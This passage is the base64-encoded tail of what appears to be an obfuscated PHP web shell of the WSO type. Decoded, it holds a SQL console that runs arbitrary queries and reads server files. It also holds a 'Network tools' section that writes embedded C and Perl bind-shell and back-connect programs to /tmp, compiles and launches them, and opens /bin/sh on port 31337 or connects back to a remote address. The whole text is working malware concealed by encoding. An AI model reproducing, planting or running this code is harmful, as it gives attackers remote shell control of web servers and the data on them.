KiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7CgkJCQkJZWxzZQoJCQkJCQkkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsKCQkJCQllY2hvICI8YnI+PGJyPiI7CgkJCQl9CgkJCQlpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgewoJCQkJCSRkYi0+cXVlcnkoQCRfUE9TVFsncDInXSk7CgkJCQkJaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7CgkJCQkJCSR0aXRsZSA9IGZhbHNlOwoJCQkJCQllY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbj4nOwoJCQkJCQkkbGluZSA9IDE7CgkJCQkJCXdoaWxlKCTilp8gPSAkZGItPmZldGNoKCkpCXsKCQkJCQkJCWlmKCEkdGl0bGUpCXsKCQkJCQkJCQllY2hvICc8dHI+JzsKCQkJCQkJCQlmb3JlYWNoKCTilp8gYXMgJGtleSA9PiAkdmFsdWUpCgkJCQkJCQkJCWVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsKCQkJCQkJCQlyZXNldCgk4pafKTsKCQkJCQkJCQkkdGl0bGU9dHJ1ZTsKCQkJCQkJCQllY2hvICc8L3RyPjx0cj4nOwoJCQkJCQkJCSRsaW5lID0gMjsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsKCQkJCQkJCSRsaW5lID0gJGxpbmU9PTE/MjoxOwoJCQkJCQkJZm9yZWFjaCgk4pafIGFzICRrZXkgPT4gJHZhbHVlKSB7CgkJCQkJCQkJaWYoJHZhbHVlID09IG51bGwpCgkJCQkJCQkJCWVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsKCQkJCQkJCQllbHNlCgkJCQkJCQkJCWVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJzwvdHI+JzsKCQkJCQkJfQoJCQkJCQllY2hvICc8L3RhYmxlPic7CgkJCQkJfSBlbHNlIHsKCQkJCQkJZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOwoJCQkJCX0KCQkJCX0KCQkJCWVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjsKICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykpCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOwoJCQkJZWNobyAiPC90ZD48L3RyPiI7CgkJCX0KCQkJZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz4iOwogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgewogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIDEgRlJPTSBteXNxbC51c2VyIFdIRVJFIGNvbmNhdChgdXNlcmAsICdAJywgYGhvc3RgKSA9IFVTRVIoKSBBTkQgYEZpbGVfcHJpdmAgPSAneSciKTsKICAgICAgICAgICAgICAgIGlmKCRkYi0+ZmV0Y2goKSkKICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT4iOwogICAgICAgICAgICB9CgkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgewoJCQkJJGZpbGUgPSAkZGItPmxvYWRGaWxlKCRfUE9TVFsncDInXSk7CgkJCQllY2hvICc8YnIvPjxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsKCQkJfQoJfSBlbHNlIHsKICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsKICAgIH0KCWVjaG8gJzwvZGl2Pic7CgloYXJkRm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uTmV0d29yaygpIHsKCWhhcmRIZWFkZXIoKTsKCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcElIc05DaUFnSUNCcGJuUWdabVE3RFFvZ0lDQWdjM1J5ZFdOMElITnZZMnRoWkdSeVgybHVJSE5wYmpzTkNpQWdJQ0JrWVdWdGIyNG9NU3d3S1RzTkNpQWdJQ0J6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkS1NrN0RRb2dJQ0FnYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc05DaUFnSUNCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc05DaUFnSUNCcFppQW9LR052Ym01bFkzUW9abVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnS2lrZ0puTnBiaXdnYzJsNlpXOW1LSE4wY25WamRDQnpiMk5yWVdSa2Npa3BLVHd3S1NCN0RRb2dJQ0FnSUNBZ0lIQmxjbkp2Y2lnaVEyOXVibVZqZENCbVlXbHNJaWs3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQWdJSDBOQ2lBZ0lDQmtkWEF5S0daa0xDQXdLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXlLVHNOQ2lBZ0lDQnplWE4wWlcwb0lpOWlhVzR2YzJnZ0xXa2lLVHNOQ2lBZ0lDQmpiRzl6WlNobVpDazdEUXA5IjsKCSRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOwoJJGJpbmRfcG9ydF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGRXNXBjM1JrTG1nK0RRb2phVzVqYkhWa1pTQThibVYwWkdJdWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdSc2FXSXVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ29xWVhKbmRpa2dldzBLSUNBZ0lHbHVkQ0J6TEdNc2FUc05DaUFnSUNCamFHRnlJSEJiTXpCZE93MEtJQ0FnSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCeU93MEtJQ0FnSUdSaFpXMXZiaWd4TERBcE93MEtJQ0FnSUhNZ1BTQnpiMk5yWlhRb1FVWmZTVTVGVkN4VFQwTkxYMU5VVWtWQlRTd3dLVHNOQ2lBZ0lDQnBaaWdoY3lrZ2NtVjBkWEp1SUMweE93MEtJQ0FnSUhJdWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2NpNXphVzVmY0c5eWRDQTlJR2gwYjI1ektHRjBiMmtvWVhKbmRsc3hYU2twT3cwS0lDQWdJSEl1YzJsdVgyRmtaSEl1YzE5aFpHUnlJRDBnYUhSdmJtd29TVTVCUkVSU1gwRk9XU2s3RFFvZ0lDQWdZbWx1WkNoekxDQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BKbklzSURCNE1UQXBPdzBLSUNBZ0lHeHBjM1JsYmloekxDQTFLVHNOQ2lBZ0lDQjNhR2xzWlNneEtTQjdEUW9nSUNBZ0lDQWdJR005WVdOalpYQjBLSE1zTUN3d0tUc05DaUFnSUNBZ0lDQWdaSFZ3TWloakxEQXBPdzBLSUNBZ0lDQWdJQ0JrZFhBeUtHTXNNU2s3RFFvZ0lDQWdJQ0FnSUdSMWNESW9ZeXd5S1RzTkNpQWdJQ0FnSUNBZ2QzSnBkR1VvWXl3aVVHRnpjM2R2Y21RNklpdzVLVHNOQ2lBZ0lDQWdJQ0FnY21WaFpDaGpMSEFzYzJsNlpXOW1LSEFwS1RzTkNpQWdJQ0FnSUNBZ1ptOXlLR2s5TUR0cFBITjBjbXhsYmlod0tUdHBLeXNwRFFvZ0lDQWdJQ0FnSUNBZ0lDQnBaaWdnS0hCYmFWMGdQVDBnSjF4dUp5a2dmSHdnS0hCYmFWMGdQVDBnSjF4eUp5a2dLUTBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEJiYVYwZ1BTQW5YREFuT3cwS0lDQWdJQ0FnSUNCcFppQW9jM1J5WTIxd0tHRnlaM1piTWwwc2NDa2dQVDBnTUNrTkNpQWdJQ0FnSUNBZ0lDQWdJSE41YzNSbGJTZ2lMMkpwYmk5emFDQXRhU0lwT3cwS0lDQWdJQ0FnSUNCamJHOXpaU2hqS1RzTkNpQWdJQ0I5RFFwOSI7CgkkYmluZF9wb3J0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7CgllY2hvICI8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0nZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5wYXNzLnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz4KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9zcGFuPjxici8+CglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzJz4gVXNpbmc6IDxsYWJlbD48c2VsZWN0IG5hbWU9J3VzaW5nJz48b3B0aW9uIHZhbHVlPSdicGMnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdicHAnPlBlcmw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc+Cgk8L2Zvcm0+Cgk8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSdnKG51bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+Cgk8c3Bhbj5CYWNrLWNvbm5lY3QgdG88L3NwYW4+PGJyLz4KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9Ii4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiI+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiBVc2luZzogPGxhYmVsPjxzZWxlY3QgbmFtZT0ndXNpbmcnPjxvcHRpb24gdmFsdWU9J2JjYyc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JjcCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PjwvbGFiZWw+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz4KCTwvZm9ybT48YnI+IjsKCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsKCQlmdW5jdGlvbiBjZigkZiwkdCkgewoJCQkkdz1AZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOwoJCQlpZigkdykJewoJCQkJQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmcHV0cygkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZixAYmFzZTY0X2RlY29kZSgkdCkpOwoJCQkJQGZjbG9zZSgkdyk7CgkJCX0KCQl9CgkJaWYoJF9QT1NUWydwMSddID09ICdicGMnKSB7CgkJCWNmKCIvdG1wL2JwLmMiLCRiaW5kX3BvcnRfYyk7CgkJCSTilpYgPSBleCgiZ2NjIC1vIC90bXAvYnAgL3RtcC9icC5jIik7CgkJCUB1bmxpbmsoIi90bXAvYnAuYyIpOwoJCQkk4paWIC49IGV4KCIvdG1wL2JwICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7CgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiTilpYiLmV4KCJwcyBhdXggfCBncmVwIGJwIikuIjwvcHJlPiI7CgkJfQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgewoJCQljZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsKCQkJJOKWliA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgJiIpOwoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4k4paWIi5leCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOwoJCX0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjYycpIHsKCQkJY2YoIi90bXAvYmMuYyIsJGJhY2tfY29ubmVjdF9jKTsKCQkJJOKWliA9IGV4KCJnY2MgLW8gL3RtcC9iYyAvdG1wL2JjLmMiKTsKCQkJQHVubGluaygiL3RtcC9iYy5jIik7CgkJCSTilpYgLj0gZXgoIi90bXAvYmMgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsKCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JOKWliIuZXgoInBzIGF1eCB8IGdyZXAgYmMiKS4iPC9wcmU+IjsKCQl9CgkJaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7CgkJCWNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOwoJCQkk4paWID0gZXgod2hpY2goInBlcmwiKS4iIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsKCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JOKWliIuZXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsKCQl9Cgl9CgllY2hvICc8L2Rpdj4nOwoJaGFyZEZvb3RlcigpOwp9CmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQoJaWYoaXNzZXQoJOKWmikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJOKWmikpCgkJJF9QT1NUWydhJ10gPSAk4paaOwoJZWxzZQoJCSRfUE9TVFsnYSddID0gJ0ZpbGVzTWFuJzsKaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkKCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOwo=")); ?>